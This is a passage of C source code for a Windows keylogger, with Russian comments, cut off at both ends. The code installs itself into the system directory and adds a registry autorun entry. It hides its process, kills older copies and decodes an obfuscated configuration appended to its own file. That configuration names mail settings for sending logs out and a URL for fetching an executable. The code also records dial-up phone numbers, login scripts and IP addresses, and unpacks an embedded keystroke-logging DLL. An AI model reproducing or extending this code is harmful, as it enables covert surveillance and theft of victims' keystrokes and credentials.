char sz1 [0x100];
EnterCriticalSection (&gcs);
// вход реестре
hRoot = GetRegKey (sti. reg_path,sz1);
if (hRoot) {
RegOpenKeyEx (
hKey, // handle of open key
sz1, // address of name of subkey to open
0, // reserved
KEY_ALL_ACCESS, // security access mask
&hKey // address of handle of open key
);
RegDeleteValue (hKey,sti. reg_desc);
RegCloseKey (hKey);
};
// Удаляем лог
DeleteFile (sti. logname);
// Удаляем keylog dll
GetModuleFileName (h_keylog,sz1,sizeof (sz1));
FreeLibrary (h_keylog);
DeleteFile (sz1);
// Adieu!
ExitProcess (0);
};
// ----------------------Установка в реестре---------------------------
void RegInstall (void)
{
HKEY hKey,hRoot;
ULONG i,j;
char buf1 [0x100],buf2 [0x100];
hRoot = GetRegKey (sti. reg_path,buf1);
if (! hRoot) hRoot = HKEY_LOCAL_MACHINE;
if (RegCreateKeyEx (
hRoot, // handle of an open key
buf1, // address of subkey name
0, // reserved
"", // address of class string
REG_OPTION_NON_VOLATILE, // special options flag
KEY_ALL_ACCESS, // desired security access
NULL, // address of key security structure
&hKey, // address of buffer for opened handle
&i // address of disposition value buffer
) ! = ERROR_SUCCESS) return;
i = sizeof (buf1);
if (sti. fullname)
strcpy (buf2,sti. full_exe_name);
else
strcpy (buf2,sti. exe_name);
if ( (RegQueryValueEx (
hKey, // handle of key to query
sti. reg_desc, // address of name of value to query
NULL, // reserved
&j, // address of buffer for value type
(UCHAR*) buf1, // address of data buffer
&i // address of data buffer size
) ! = ERROR_SUCCESS) ||
(j! = REG_SZ) ||
(strcmp (buf1,buf2))) {
// Надо ставить свой ключ
RegSetValueEx (
hKey, // handle of key to set value for
sti. reg_desc, // address of value to set
0, // reserved
REG_SZ, // flag for value type
(UCHAR*) buf2, // address of value data
strlen (buf2) + 1 // size of value data
);
};
RegCloseKey (hKey);
};
// -----------------------Инсталяция в систему-------------------------
void Install (void)
{
char buf1 [0x100],buf2 [0x100];
PROCESS_INFORMATION pi;
STARTUPINFO si;
// из какого каталога запуск?
GetModuleFileName (NULL,buf1,sizeof (buf1));
CharUpperBuff (buf1,strlen (buf1));
if (strcmp (sti. full_exe_name,buf1)) { // Нет это не наш каталог
// Копируем
if (CopyFile (buf1,sti. full_exe_name,false)) { // Скопировали нормально
memset (&si,0,sizeof (si));
si. cb = sizeof (si);
sprintf (buf2,"Restart_%X Kill_%X=%s",sti. number,sti. number,buf1);
// Стартуем процесс
CreateProcess (
sti. full_exe_name, // pointer to name of executable module
buf2, // pointer to command line string
NULL, // pointer to process security attributes
NULL, // pointer to thread security attributes
false, // handle inheritance flag
0, // creation flags
NULL, // pointer to new environment block
NULL, // pointer to current directory name
&si, // pointer to STARTUPINFO
&pi // pointer to PROCESS_INFORMATION
);
};
ExitProcess (0);
};
};
// --------------------Проверка на включение кейлога-------------------
bool TitleTest (HWND hwnd, char* t)
{
char title [0x200];
UINT i;
GetWindowText (hwnd,title,sizeof (title)); // Считываем заголовок окна
strcpy (t,title);
if (sti. total_log) return true; // Если постоянный лог
CharUpperBuff (title,strlen (title)); // в верхний региср
for (i = 0; i<sti. nsubstr; i++) // Ищем субстроки
if (strstr (title,sti. substr [i])) return true;
return false;
};
// --------Тут происходит проверка на возникновение соединения---------
void ConDectecting (void)
{
static HRASCONN hconn;
static int state;
RASCONN rascon;
RASCONNSTATUS rascs;
LPRASENTRY re;
RASPPPIP rasip;
SYSTEMTIME st;
int i,j;
char sz1 [0x1000],sz2 [0x100];
FILE* fs;
if (! bRASDLL) return;
// текущее соединение?
rascon. dwSize = sizeof (RASCONN);
j = sizeof (rascon);
if (RasEnumConnections (
&rascon, // buffer to receive connections data
(LPDWORD) &j, // size in bytes of buffer
(LPDWORD) &i // number of connections written to buffer
)) return;
if (! i) { // нет соединений
hconn = NULL;
return;
};
// на каком этапе подключение?
rascs. dwSize = sizeof (rascs);
i = RasGetConnectStatus (
rascon. hrasconn, // handle to RAS connection of interest
&rascs // buffer to receive status data
);
if ( (i) || (rascs. rasconnstate == RASCS_Disconnected)) {
hconn = NULL;
return;
};
if (hconn! = rascon. hrasconn) {
state = rascs. rasconnstate;
hconn = rascon. hrasconn;
return;
};
if ( (rascs. rasconnstate == RASCS_Connected) && (state! = RASCS_Connected)) {
state = RASCS_Connected;
// новое соединение успешно установлено
GetLocalTime (&st);
// имя, время соединения
sprintf (
sz1,"\nConnection: \"%s\",%2.2u:%2.2u:%2.2u\n",
rascon. szEntryName,
st. wHour,
st. wMinute,
st. wSecond
);
i = 0; // опередляем количество памяти под RASENTRY
RasGetEntryProperties (
NULL, // pointer to full path and filename of phone-book file
rascon. szEntryName, // pointer to an entry name
NULL, // buffer that receives entry information
(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer
NULL, // buffer that receives device-specific configuration information
NULL // size, in bytes, of the lpbDeviceInfo buffer
);
re = (LPRASENTRY) new BYTE [i];
re->dwSize = sizeof (RASENTRY);
j = RasGetEntryProperties (
NULL, // pointer to full path and filename of phone-book file
rascon. szEntryName, // pointer to an entry name
re, // buffer that receives entry information
(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer
NULL, // buffer that receives device-specific configuration information
NULL // size, in bytes, of the lpbDeviceInfo buffer
);
// телефон, скрипт
if (! j) {
if (re->dwfOptions & RASEO_UseCountryAndAreaCodes)
sprintf (
sz2,"\tPN:%u,%s,%s\n",
re->dwCountryCode,
re->szAreaCode,
re->szLocalPhoneNumber
);
else
sprintf (
sz2,"\tPN:%s\n",
re->szLocalPhoneNumber
);
strcat (sz1,sz2);
if (strcmp (re->szScript,"")) {
sprintf (sz2,"\tScript:%s\n",re->szScript);
strcat (sz1,sz2);
fs = fopen (re->szScript,"rt");
if (fs) {
fseek (fs,0,SEEK_END);
i = ftell (fs);
j = strlen (sz1);
if (i < ( (int) sizeof (sz1) - j - 0x40)) {
fseek (fs,0,SEEK_SET);
i = fread (&sz1 [j],1, i,fs);
sz1 [j + i] = 0;
strcat (sz1,"\n");
};
fclose (fs);
};
};
};
delete re;
i = sizeof (RASPPPIP);
rasip. dwSize = i;
j = RasGetProjectionInfo (
rascon. hrasconn, // handle that specifies remote access connection of interest
RASP_PppIp, // specifies type of projection information to obtain
&rasip, // points to buffer that receives projection information
(LPDWORD) &i // points to variable that specifies buffer size
);
// IP наш и сервера
if (! j) {
sprintf (
sz2,"\tIP:%s\n"
"\tServer's IP:%s\n",
rasip. szIpAddress,
rasip. szServerIpAddress);
strcat (sz1,sz2);
};
LogAdd (sz1);
};
};
// ---------------------Удаление предудущей копии----------------------
void DelPrev ()
{
CREATETOOL CreateToolhelp32Snapshot;
FIRST32 Process32First;
NEXT32 Process32Next;
HANDLE h_th;
HINSTANCE h_l;
PROCESSENTRY32 pe;
HANDLE hp;
h_l = LoadLibrary ("KERNEL32. DLL");
if (! h_l) return;
CreateToolhelp32Snapshot =
(CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot");
Process32First = (FIRST32) GetProcAddress (h_l,"Process32First");
Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next");
if ( (! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot))
goto exit_proc;
h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0);
pe. dwSize = sizeof (pe);
if (! Process32First (h_th,&pe)) goto exit_proc;
do {
CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile));
if ( (! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) {
hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID);
if (hp)
#ifdef _DEBUG
if (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process");
#else
TerminateProcess (hp,0);
#endif
};
} while (Process32Next (h_th,&pe));
exit_proc:
FreeLibrary (h_l);
};
// -------------callback функция для распаковки кейлог-dll-------------
FILE* unpack_file;
void Callback (char* data, int len)
{
fwrite (data,1,len,unpack_file);
};
// -----------------------------WinMain--------------------------------
int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int)
{
MSG msg;
char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt;
HINSTANCE h_ker, h_keylog, h_ras;
SYSTEMTIME systime, killtime, mailtime, exectime;
int h_timer, i, j;
LPREGISTERSERVICEPROCESS lpRegServ;
LPGETDATA GetData;
LPKEYLOGON KeylogOn;
LPKEYLOGOFF KeylogOff;
LPKEYLOGOPT KeylogOpt;
bool IsLog = false, IsMailing = false, IsChange = false;
UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0;
HWND h_curwnd, h_oldwnd = NULL;
FILE* h_f;
HRSRC hr;
HGLOBAL hrd;
_AttachedData a_d;
char* sti_buf;
char old_title [MAX_PATH];
int d_s;
// Грузим конфинурацию
GetModuleFileName (NULL,buf1,sizeof (buf1));
h_f = fopen (buf1,"rb");
fseek (h_f,0,SEEK_END);
d_s = ftell (h_f);
sti_buf = new char [d_s];
fseek (h_f,0,SEEK_SET);
fread (sti_buf,1,d_s,h_f);
for (i=d_s-1; i>=0; i--) {
sti_buf [i-1] ^= sti_buf [i];
sti_buf [i-1] += sti_buf [i];
};
memcpy (&a_d,&sti_buf [d_s - sizeof (_AttachedData)],sizeof (_AttachedData));
if (a_d. signature! = 0x3104) return - 1;
sti. total_log = a_d. total_log;
sti. encrypt_log = a_d. encrypt_log;
sti. send_mail = a_d. send_mail;
sti. syspass = a_d. syspass;
sti. autokill = a_d. autokill;
sti. fullname = a_d. fullname;
sti. exepath = a_d. exepath;
sti. ras = a_d. ras;
sti. loglimit = a_d. loglimit;
sti. sendafter = a_d. sendafter;
sti. nsubstr = a_d. n_ss;
sti. number = a_d. number;
// грузим субстроки
for (i=0,j=a_d. ss_ofs; (UINT) i<a_d. n_ss; i++) {
sti. substr [i] = new char [strlen (&sti_buf [j]) + 1];
strcpy (sti. substr [i],&sti_buf [j]);
j += strlen (&sti_buf [j]) + 1;
};
// имя лога
strcpy (buf1,&sti_buf [a_d. logname_ofs]);
GetSystemDirectory (sti. logname,sizeof (sti. logname));
strcat (sti. logname,"\");
strcat (sti. logname,buf1);
// адрес хоста
strcpy (sti. host,&sti_buf [a_d. host_ofs]);
// от кого?
strcpy (sti. mailfrom,&sti_buf [a_d. mailfrom_ofs]);
// кому?
strcpy (sti. mailto,&sti_buf [a_d. mailto_ofs]);
strcpy (sti. subj,&sti_buf [a_d. subj_ofs]);
// имя exe-файла
strcpy (sti. exe_name,&sti_buf [a_d. exe_ofs]);
// имя кейлог-dll
strcpy (sti. dll_name,&sti_buf [a_d. dll_ofs]);
// полное имя exe-файла
if (sti. exepath == 2)
strcpy (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);
else {
if (! sti. exepath)
GetWindowsDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));
else
GetSystemDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));
strcat (sti. full_exe_name,"\");
strcat (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);
};
CharUpperBuff (sti. full_exe_name,strlen (sti. full_exe_name));
// описание в реестре
strcpy (sti. reg_desc,&sti_buf [a_d. reg_descr_ofs]);
// путь в реестре
strcpy (sti. reg_path,&sti_buf [a_d. reg_path_ofs]);
// адрес exe-файла для запуска
strcpy (sti. http,&sti_buf [a_d. http_ofs]);
// порт сендмэйла
sti. port = a_d. port;
// интервал между посылками
memcpy (&sti. send_i,&a_d. send_i,sizeof (SYSTEMTIME));
// время жизни
memcpy (&sti. kill_i,&a_d. kill_i,sizeof (SYSTEMTIME));
delete sti_buf;
DelPrev ();
#ifndef _DEBUG
RecurrentStart (); // Повторно запусть?
Install (); // Интсталируем
#endif
// Что у нас в командной строке?
sprintf (buf1,"Kill_%X=",sti. number);
szKillIt = strstr (GetCommandLine (),buf1);
if (szKillIt) szKillIt += strlen (buf1);
// Скрываем процесс
h_ker = LoadLibrary ("KERNEL32. DLL");
if (h_ker) {
lpRegServ =
(LPREGISTERSERVICEPROCESS) GetProcAddress (h_ker,"RegisterServiceProcess");
#ifndef _DEBUG
if (lpRegServ) lpRegServ (NULL,1);
#endif
FreeLibrary (h_ker);
};
// Подгружаем RASAPI32. DLL если есть
h_ras = LoadLibrary ("RASAPI32. DLL");
if (h_ras) {
RasEnumConnections= (LPRASENUMCCONNECTIONS) GetProcAddress (h_ras,"RasEnumConnectionsA");
RasGetConnectStatus = (LPRASGETCONNECTSTATUS) GetProcAddress (h_ras,"RasGetConnectStatusA");
RasGetEntryProperties = (LPRASGETENTRYPROPERTIES) GetProcAddress (h_ras,"RasGetEntryPropertiesA");
RasGetProjectionInfo = (LPRASGETPROJECTIONINFO) GetProcAddress (h_ras,"RasGetProjectionInfoA");
bRASDLL = (RasEnumConnections) && (RasGetConnectStatus) && (RasGetEntryProperties) && (RasGetProjectionInfo);
} else bRASDLL = false;
// Проинициализировать лог
LogInit ();
GetSystemDirectory (buf1,sizeof (buf1));
strcat (buf1,"\");
strcat (buf1,sti. dll_name);
h_keylog = LoadLibrary (buf1);
if (! h_keylog) {
hr = FindResource (
NULL, // resource-module handle
(LPCTSTR) IDR_KDLL, // pointer to resource name
"KDLL" // pointer to resource type
);
hrd = LoadResource (
NULL, // resource-module handle
hr // resource handle
);
unpack_file = fopen (buf1,"w+b");
if (! unpack_file) return - 1;
LZWUnpack ( (char*) hrd,Callback);
fclose (unpack_file);
h_keylog = LoadLibrary (sti. dll_name);
};
// грузим функции кейлог-dll
GetData = (LPGETDATA) GetProcAddress (h_keylog,"GetData");
KeylogOn = (LPKEYLOGON) GetProcAddress (h_keylog,"KeylogOn");
KeylogOff = (LPKEYLOGOFF) GetProcAddress (h_keylog,"KeylogOff");
KeylogOpt = (LPKEYLOGOPT) GetProcAddress (h_keylog,"KeylogOpt");
#ifdef _DEBUG
if (! GetData) {
ShowMessage ("Error load GetData function");
return - 1;
};
if (! KeylogOn) {
ShowMessage ("Error load KeyLogOn function");
return - 1;
};
if (! KeylogOff) {
ShowMessage ("Error load KeyLogOff function");
return - 1;
};
if (! KeylogOpt) {
ShowMessage ("Error load KeyLogOpt function");
return - 1;
};
#else
if ( (! GetData) || (! KeylogOn) || (! KeylogOff) || (! KeylogOpt)) return - 1;